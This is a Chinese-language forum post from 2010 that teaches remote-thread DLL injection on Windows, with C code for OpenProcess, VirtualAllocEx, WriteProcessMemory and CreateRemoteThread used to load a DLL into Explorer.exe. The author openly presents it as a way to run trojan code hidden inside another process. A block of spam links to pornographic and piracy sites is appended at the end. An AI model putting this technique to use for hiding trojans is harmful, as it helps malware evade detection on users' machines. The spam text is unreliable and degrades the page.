<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>
    以文本方式查看主題

    -  曙海教育集團論壇  (http://www.hufushizhe.com/bbs/index.asp)
    --  VB語言  (http://www.hufushizhe.com/bbs/list.asp?boardid=77)
    ----  用vb和c語言來進行遠程線形技術  (http://www.hufushizhe.com/bbs/dispbbs.asp?boardid=77&id=2607)

    --  作者:wangxinxin
    --  發布時間:2010-12-14 14:39:24
    --  用vb和c語言來進行遠程線形技術

    遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程耶!)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。例如在遠程進程內部啟動一個DLL木馬(與進入進程內部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠程進程的數據)。

      首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果遠程進程不允許打開,那么嵌入就無法進行了,這往往是由于權限不足引起的,解決方法是通過種種途徑提升本地進程的權限) 

     hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠程創建線程 
                    PROCESS_VM_OPERATION | file://允許遠程VM操作 
                    PROCESS_VM_WRITE,//允許遠程VM寫 
                    FALSE, dwRemoteProcessId ) 

      由于我們后面需要寫入遠程進程的內存地址空間并建立遠程線程,所以需要申請足夠的權限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 

      然后,我們可以建立LoadLibraryW函數這個線程來啟動我們的DLL木馬,LoadLibraryW函數是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數,就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠程進程內調用的,所以我們首先還需要將這個文件名復制到遠程地址空間:(否則遠程線程是無法讀到這個參數的) 

     file://計算DLL路徑名需要的內存空間 
     int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); 
     file://使用VirtualAllocEx函數在遠程進程的內存地址空間分配DLL文件名緩沖區 
     pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
                MEM_COMMIT, PAGE_READWRITE); 
     file://使用WriteProcessMemory函數將DLL的路徑名復制到遠程進程的內存空間 
     iReturnCode = WriteProcessMemory(hRemoteProcess, 
                pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); 
     file://計算LoadLibraryW的入口地址 
     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
         GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

      萬事俱備,我們通過建立遠程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數pszLibFileRemote(實際上是我們復制過去的木馬DLL的全路徑文件名)在遠程進程內啟動我們的木馬DLL: 

     file://啟動遠程線程LoadLibraryW,通過遠程線程調用用戶的DLL文件 
     hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
                     pfnStartAddr, pszLibFileRemote, 0, NULL); 

      至此,遠程嵌入順利完成,為了試驗我們的DLL是不是已經正常的在遠程線程運行,我編寫了以下的測試DLL: 

     BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) 
       { 
        char szProcessId[64] ; 
        switch ( reason ) 
         { 
          case DLL_PROCESS_ATTACH: 
           { 
             file://獲取當前進程ID 
             _itoa ( GetCurrentProcessId(), szProcessId, 10 ); 
             MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); 
           } 
          default: 
          return TRUE; 
         } 
       } 

      當我使用RmtDll.exe程序將這個TestDLL.dll嵌入Explorer.exe進程后(PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具也能看到 

       Process ID: 1208 
       C:WINNTExplorer.exe (0x00400000) 
       …… 
       C:TestDLL.dll (0x100000000) 
       …… 

      這證明TestDLL.dll已經在Explorer.exe進程內正確地運行了。 

      無論是使用特洛伊DLL還是使用遠程線程,都是讓木馬的核心代碼運行于別的進程的內存空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。


    主站蜘蛛池模板: 久久久国产99久久国产久| 四虎国产精品免费久久影院| 中国一级毛片在线观看| 日韩黄色免费观看| 免费女人18毛片a级毛片视频| 麻豆果冻国产91在线极品| 天堂新版资源中文最新版下载地址 | 国产一区二区三区不卡在线观看| 7777精品久久久大香线蕉 | 邻居少妇张开腿让我爽了在线观看 | 久久国产精品-国产精品| 欧美va天堂视频在线| 免费a级毛片无码| 美女洗澡一级毛片| 国产精品一卡二卡三卡| yy22.tv夜月直播| 无码精品人妻一区二区三区中| 亚洲免费二区三区| 欧美激情xxx| 冠希实干阿娇13分钟视频在线看| 视频久re精品在线观看| 国产精品亚洲а∨无码播放不卡 | 少妇人妻偷人精品视频| 久久精品九九亚洲精品| 欧美另类69xxxxxhd| 免费一级毛片在线播放视频| 精品国产夜色在线| 国产免费av片在线观看播放| 黄a大片av永久免费| 国产精品无码久久综合| ljr绿巨人地址| 小少呦萝粉国产| 久久久久久人妻无码| 日韩国产成人无码AV毛片| 亚洲日韩在线中文字幕综合| 欧美黑人又大又粗XXXXX| 日美女大长腿b| 国产精品狼人久久久久影院| а√天堂资源地址在线官网| 很黄很污的视频在线观看| 久久亚洲精品成人av无码网站|